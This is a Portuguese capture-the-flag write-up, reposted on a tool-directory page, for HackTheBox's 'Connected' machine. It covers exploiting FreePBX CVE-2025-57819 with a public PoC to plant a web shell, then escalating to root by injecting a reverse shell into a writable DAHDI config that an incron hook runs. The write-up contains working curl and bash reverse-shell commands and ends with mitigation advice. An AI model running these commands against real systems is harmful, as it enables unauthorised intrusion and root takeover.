Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/ikmalhanaan/hackthebox-connected
Escalada de PrivilégiosReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
ikmalhanaan/hackthebox-connected

HackTheBox-Connected

Write-up detalhado de teste de penetração para a máquina 'Connected' do HackTheBox, cobrindo a exploração do CVE-2025-57819 do FreePBX (SQLi para RCE) e a escalada de privilégios via configuração incorreta do incron para root.

Ver Repositório
há 14 diasAinda não revisado

HTB Connected Completed Banner

Hack The Box: Connected — Writeup Profissional de Teste de Penetração


📋 Resumo Executivo

Connected é uma máquina Linux baseada em CentOS que executa o sistema de comunicação VoIP FreePBX v16.0.40.7 integrado ao Asterisk.

O fluxo de exploração (Attack Vector / Kill Chain) consiste em duas etapas principais:

  1. Initial Foothold (Acesso Inicial): Explorar a vulnerabilidade crítica CVE-2025-57819 (Authentication Bypass Não Autenticado & SQL Injection levando a Remote Code Execution / RCE) no FreePBX para implantar um web shell e obter um reverse shell como o usuário de serviço asterisk.
  2. Privilege Escalation (Escalação de Privilégios para Root): Realizar uma auditoria de configuração do sistema local e descobrir o daemon incron (inotify cron) que monitora arquivos de spool. Esse gatilho executa o script root /usr/sbin/sysadmin_dahdi_restart quando há uma escrita no arquivo /var/spool/asterisk/sysadmin/dahdi_restart. Como o arquivo de configuração DAHDI /etc/dahdi/init.conf tem permissão de escrita (writable) pelo usuário asterisk, a injeção de um payload de reverse shell nesse arquivo de configuração é executada automaticamente com privilégios de root (uid=0).

📑 Índice

  1. Informações da Máquina & Ambiente de Teste
  2. Fase 1: Reconhecimento & Varredura de Portas
  3. Fase 2: Enumeração Web & Identificação de Vulnerabilidades
  4. Fase 3: Initial Foothold (Exploração da CVE-2025-57819)
  5. Fase 4: Pós-Exploração & Escalação de Privilégios (Rumo ao Root)
  6. Fase 5: Análise da Causa Raiz & Recomendações de Mitigação (Hardening)
  7. Mapeamento MITRE ATT&CK

1. Informações da Máquina & Ambiente de Teste


2. Fase 1: Reconhecimento & Varredura de Portas

A etapa inicial do teste de penetração começa com o active reconnaissance usando nmap para identificar portas abertas, serviços em execução e a versão do sistema.

2.1 Executando a Varredura Abrangente do Nmap

root@kitploit:~
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick

Explicação das Flags do Nmap:

  • -T4: Define o timing template agressivo para uma varredura mais rápida e eficiente.
  • -sC: Executa o conjunto de scripts NSE (Nmap Scripting Engine) padrão para detecção de vulnerabilidades básicas.
  • -sV: Ativa a detecção de serviço e versão em cada porta responsiva.
  • -oA recon/nmap_quick: Salva todos os formatos de saída (standard, grepable, XML) no diretório recon.

2.2 Resultados da Análise de Portas & Serviços

root@kitploit:~
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
|   256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_  256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp  open  http     Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open  ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after:  2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16

Nmap Scan Result

2.3 Principais Descobertas da Varredura:

  1. Porta 22 (SSH): Usa OpenSSH versão 7.4 (típico de sistemas CentOS 7).
  2. Portas 80 e 443 (HTTP/HTTPS): Usa o servidor web Apache 2.4.6 com runtime PHP 7.4.16. O servidor web responde com um redirecionamento HTTP para o domínio http://connected.htb/.

3. Fase 2: Enumeração Web & Identificação de Vulnerabilidades

3.1 Configuração do Mapeamento de DNS Local

Como o servidor web usa virtual hosting e direciona o tráfego para connected.htb, precisamos adicionar a resolução do nome do host local ao /etc/hosts:

root@kitploit:~
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts

3.2 Fingerprinting do Aplicativo Web (FreePBX)

Acessar a URL http://connected.htb/admin/config.php através do navegador exibe a interface de gerenciamento VoIP baseada na web:

FreePBX Web Interface

Do rodapé da página web, obtemos as informações de versão específicas:

root@kitploit:~
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
  • Aplicativo: FreePBX Administration
  • Versão: 16.0.40.7
  • Fornecedor: Sangoma Technologies Inc.

4. Fase 3: Initial Foothold (Exploração da CVE-2025-57819)

4.1 Análise de Vulnerabilidade

A versão FreePBX 16.0.40.7 é vulnerável à CVE-2025-57819. Essa vulnerabilidade é uma SQL Injection pré-autenticação que permite que um atacante sem credenciais (unauthenticated attacker) manipule o banco de dados backend do FreePBX/Asterisk.

Através dessa injeção de SQL, o atacante pode modificar a tabela interna de cron job do Asterisk (asterisk.cron_jobs) ou injetar código PHP arbitrário no diretório do servidor web (gerando um DAG - Detection Artifact Generator / Web Shell), o que leva à Remote Code Execution (RCE).

4.2 Preparando e Executando o Exploit

Utilizamos o PoC de exploit público do WatchTowr Labs:

root@kitploit:~
# 1. Clonar o repositório do exploit
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819

# 2. Executar o script do exploit contra o alvo
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb

WatchTowr Exploit Execution

Resultado da Execução do Exploit: O script explorou o alvo com sucesso e criou um webshell ativo no endpoint:

root@kitploit:~
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>

4.3 Estabelecendo o Reverse Shell & Obtendo a User Flag

Para obter uma sessão interativa (reverse shell), execute os seguintes passos:

  1. Abra um Listener Netcat na máquina do atacante:

    root@kitploit:~
    nc -lvnp 1212
    
  2. Envie o Payload do Reverse Shell através do Web Shell: Envie o payload do reverse shell usando curl com o parâmetro codificado em URL:

    root@kitploit:~
    curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
      --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
    
  3. Conexão do Reverse Shell Recebida com Sucesso: A conexão chega ao listener nc e obtemos acesso a um shell interativo como o usuário asterisk.

Reverse Shell and User Flag

  1. Obtendo a User Flag:
    root@kitploit:~
    [asterisk@connected html]$ cat /home/asterisk/user.txt
    

5. Fase 4: Pós-Exploração & Escalação de Privilégios (Rumo ao Root)

Depois de obter acesso como o usuário asterisk, o próximo passo é realizar a enumeração interna para encontrar um vetor de Privilege Escalation para root.

5.1 Enumeração do Daemon & Monitor de Arquivos (incron)

Verificamos a configuração do daemon incron (inotify cron table), que é um serviço que executa comandos quando ocorre um evento de filesystem (como modificação ou criação de arquivo):

root@kitploit:~
[asterisk@connected html]$ cat /etc/incron.d/*

Saída da Configuração do Incron:

root@kitploit:~
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Análise das Regras do Incron:

  • Linha: /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
  • Mecanismo: Sempre que o arquivo /var/spool/asterisk/sysadmin/dahdi_restart é fechado após uma operação de escrita (IN_CLOSE_WRITE), o sistema executa automaticamente o script /usr/sbin/sysadmin_dahdi_restart com privilégios de root.

5.2 Análise do Script DAHDI & a Brecha de Permissão de Arquivo Gravável

Uma investigação mais aprofundada do script /usr/sbin/sysadmin_dahdi_restart mostra que ele reinicia o serviço DAHDI (Digium Asterisk Hardware Device Interface) e executa / carrega (source) o arquivo de configuração /etc/dahdi/init.conf.

A verificação das permissões no arquivo /etc/dahdi/init.conf mostra que ele tem permissão de escrita (writable) pelo usuário asterisk:

root@kitploit:~
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf

5.3 Exploração: Injeção do Payload & Acionamento do Evento Incron

Como o /etc/dahdi/init.conf é executado no contexto de root quando o DAHDI é reiniciado, podemos inserir um comando de reverse shell nesse arquivo de configuração e, em seguida, acionar a reinicialização através do incron.

  1. Abra um Novo Listener na Máquina do Atacante (Porta 4545):

    root@kitploit:~
    nc -lvnp 4545
    

    Root Netcat Listener

  2. Insira o Reverse Shell no /etc/dahdi/init.conf:

    root@kitploit:~
    echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
    
  3. Acione o Evento Incron através da Escrita no Arquivo Spool:

    root@kitploit:~
    echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
    

    Payload Injection & Trigger

5.4 Root Shell & Captura da Flag

Em poucos segundos após o incron processar o evento de escrita no arquivo, o script root executa a linha de comando injetada e gera uma conexão de reverse shell como root (uid=0):

Root Shell and Flag

root@kitploit:~
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)

[root@connected /]# whoami
root

[root@connected /]# cat /root/root.txt

6. Fase 5: Análise da Causa Raiz & Recomendações de Mitigação (Hardening)


7. Mapeamento MITRE ATT&CK


Pwned por ikmalhanaan 🚀

Baixar ferramenta
ComponenteEspecificação / Descrição
Nome da MáquinaConnected
Sistema OperacionalLinux (CentOS / FreePBX Distro)
IP do Alvo<IP_TARGET> (connected.htb)
IP do Atacante<IP_VPN_KITA> (Interface VPN tun0)
Vulnerabilidade CríticaCVE-2025-57819 (FreePBX Auth Bypass & SQLi para RCE)
Mecanismo de PrivEscHook de Daemon Incron Mal Configurado + /etc/dahdi/init.conf Gravável
Ferramentas Utilizadasnmap, curl, python3, netcat (nc), bash, git
Vetor de FraquezaImpactoRecomendação de Remediação / Mitigação
FreePBX Pre-Auth SQLi (CVE-2025-57819)Crítico — Permite RCE sem autenticação através de injeção no banco de dados.Atualize o FreePBX para a versão de patch oficial mais recente da Sangoma. Aplique validação rigorosa de entrada e use Prepared Statements / Parameterized Queries em todos os endpoints da API.
Permissão de Arquivo Insegura (/etc/dahdi/init.conf)Alto — Um usuário não autorizado (asterisk) pode modificar um arquivo de configuração executado pelo root.Restrinja a propriedade e as permissões de escrita do arquivo de configuração: chmod 644 /etc/dahdi/init.conf e chown root:root /etc/dahdi/init.conf.
Execução Automatizada pelo Root via IncronMédio/Alto — Scripts de automação do root carregam arquivos de configuração sem verificação de integridade.Audite todas as regras do incron e os scripts /usr/sbin/sysadmin_*. Evite o sourcing de arquivos de configuração dinâmicos que sejam vulneráveis a modificação por não-root.
TáticaID da TécnicaNome da TécnicaAplicação na Máquina
ReconhecimentoT1595.002Active Scanning: Vulnerability ScanningVarredura de portas e serviços usando nmap.
Acesso InicialT1190Exploit Public-Facing ApplicationExploração da vulnerabilidade CVE-2025-57819 no servidor web FreePBX.
ExecuçãoT1059.004Command and Scripting Interpreter: Unix ShellExecução de comandos bash de reverse shell através do web shell e script init.
Persistência / Escalação de PrivilégiosT1053.003Scheduled Task/Job: CronUtilização do daemon incron para executar tarefas root automáticas.
Escalação de PrivilégiosT1574.009Hijack Execution Flow: Path/Configuration HijackingInserção de comandos maliciosos no arquivo de configuração /etc/dahdi/init.conf.
Acesso a Credenciais / ColetaT1005Data from Local SystemLeitura das flags user.txt e root.txt.